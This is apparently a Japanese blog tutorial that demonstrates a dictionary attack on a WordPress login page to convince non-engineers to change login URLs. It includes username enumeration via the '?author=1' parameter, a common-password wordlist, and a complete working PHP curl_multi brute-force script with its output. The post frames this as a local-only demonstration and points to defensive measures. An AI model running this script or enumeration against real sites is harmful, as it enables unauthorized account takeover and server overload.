WordPress のサイトを PHP の辞書攻撃でハッキングする

はじめに

実務にて、非エンジニアに「WordPress や phpMyAdmin のログイン URL を変えないと、総当たり攻撃や辞書攻撃などのクラッキングによる不正アクセスの被害に遭う可能性があります。」と説明しても上手く伝えられないことがある。そこで、イメージを掴んでもらえるように、実際に単純なハッキングを試した情報になります。

検証環境

解説

ほとんどの非エンジニアにとって、クラッキング の具体的なイメージをすることはとても難しいことです。

そこで、イメージを掴んでもらえるように、実際に WordPress のログインページを PHP辞書攻撃 して ハッキング してみました。

辞書攻撃とは

辞書攻撃(Dictionary attack)とは、簡単に説明すると、ワードリスト(よくパスワードに使われている単語が羅列されているファイル)の単語を片っ端から認証させて正しいパスワードを当てる攻撃手法です。

技術力のない Cracker(クラッカー)でも簡単にできてしまう、且つ、大量のアクセスでサーバーに負荷を掛ける DoS攻撃 もできるので、一石二鳥な単純で強力な攻撃になります。

脅威

もし、あなたの Web サイトが クラッキング によって不正アクセスされてしまうと、DDoS攻撃スパムメール 大量送信の 踏み台マルウェア の埋め込み、ユーザー権限の乗っ取りなど、多種多様な攻撃を受ける可能性があります。

攻法

初めに、他人様の Web サイトをクラッキングするのは絶対にダメです。不正アクセス禁止法違反で逮捕されてしまうので、ローカル開発環境などの人に迷惑をかけないところで検証しましょう。

では、MAMPXAMPP などに WordPress をインストールして、攻撃される側の Web サイトを作成しましょう。今回、ユーザー名は admin、パスワードは 1q2w3e4r にしました。

さて、攻撃する側の行動ですが、まずは Wappalyzer を利用して攻撃する Web サイトが WordPress を利用していることを確認します。ベテランさんは WordPress のバージョンによる脆弱性を突いた攻撃を行ったりします。

次に、下記の URL にアクセスしてユーザー名を特定します。URL に ?author=1 というパラメータを付けることでユーザー ID が 1 の投稿者アーカイブページにリダイレクトします。

http://example.com/?author=1
http://example.com/author/admin

リダイレクト先の URL を見ると、ユーザー ID が 1 のユーザー名は admin ということがわかりました。同じように数値を変えるだけで、他のユーザー名も洗い出すことができます。

次に、ワードリストが必要です。今回は SplashDataThe Worst Passwords of 2019 を参考に下記のようなファイルを作成しました。

123456
123456789
qwerty
password
1234567
12345678
12345
iloveyou
111111
123123
abc123
qwerty123
1q2w3e4r
admin
qwertyuiop
654321
555555
lovely
7777777
welcome
888888
princess
dragon
password1
123qwe

次に、作成した password ファイルにある単語を片っ端から認証させるプログラムが必要です。下記のような単純な PHP プログラムを作成しました。

<?php
$time = microtime(true);

const TARGET_URL = 'http://example.com/wp-login.php';
const USER_AGENT = 'Mozilla/5.0';
const DICTIONARY = 'password';
const TIMEOUT = 30;

$log = 'admin'; // ユーザー名またはメールアドレス
$hit_flag = false;

try {
  $mh = curl_multi_init();
  $pwds = file(DICTIONARY, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
  $meta = stream_get_meta_data($fp = tmpfile());

  foreach ($pwds as $pwd) {
    $ch = curl_init();
    $chs[] = $ch;
    curl_setopt_array($ch, [
      CURLOPT_URL => TARGET_URL,
      CURLOPT_POST => true,
      CURLOPT_POSTFIELDS => http_build_query(['log' => $log, 'pwd' => $pwd]),
      CURLOPT_SSL_VERIFYPEER => false,
      CURLOPT_SSL_VERIFYHOST => false,
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_COOKIEJAR => $meta['uri'],
      CURLOPT_COOKIEFILE => $meta['uri'],
      CURLOPT_FOLLOWLOCATION => true,
      CURLOPT_USERAGENT => USER_AGENT,
      CURLOPT_ENCODING => 'gzip',
      CURLOPT_TIMEOUT => TIMEOUT,
      CURLOPT_CONNECTTIMEOUT => TIMEOUT
    ]);
    curl_multi_add_handle($mh, $ch);
  }

  do {
    curl_multi_exec($mh, $active);
    curl_multi_select($mh);
  } while ($active > CURLM_OK);

  foreach ($chs as $idx => $ch) {
    if (curl_getinfo($ch, CURLINFO_EFFECTIVE_URL) !== TARGET_URL) {
      $hit_flag = true;
      echo "The password is \"{$pwds[$idx]}\".\n";
    }
    curl_multi_remove_handle($mh, $ch);
    curl_close($ch);
  }
  curl_multi_close($mh);
} catch (Exception $e) {
  echo $e->getMessage();
}

if (!$hit_flag) echo "Did not hit.\n";
$time = microtime(true) - $time;
echo "It took {$time} seconds.\n";

最後に、PHP プログラムをコマンドで実行します。自らを攻撃するのでパソコンのメモリ使用量に注意しましょう。

$ php example.php

はい、パスワードは 1q2w3e4r ということがわかりました。4 秒もかかってるけど…

The password is "1q2w3e4r".
It took 4.2203669548035 seconds.

あとは、ログインして煮るなり焼くなり好きにできます。

ワードリストとたった数十行のプログラムで簡単にハッキングできました。

クラッキング のイメージを少しでも掴めましたでしょうか。対策が必要と感じた方は「まず WordPress のログイン URL を変えろ。話はそれからだ。」という記事を読むことをオススメします。

以上です。

おわりに

エンジニアの皆さんはお気付きだと思いますが、基本的にシングルスレッドの PHP はこういった用途に向いていません。今後、PHP のアップデートによって変わる可能性はあると思います。

そういえば、Halting development of pthreads for 7.4 よりマルチスレッド API pthreads(ピースレッズ)の開発が停止しました。PHP 7.4 以降は pthreads の代わりである新しい拡張機能の parallel(パラレル)を利用する必要がありそうですね。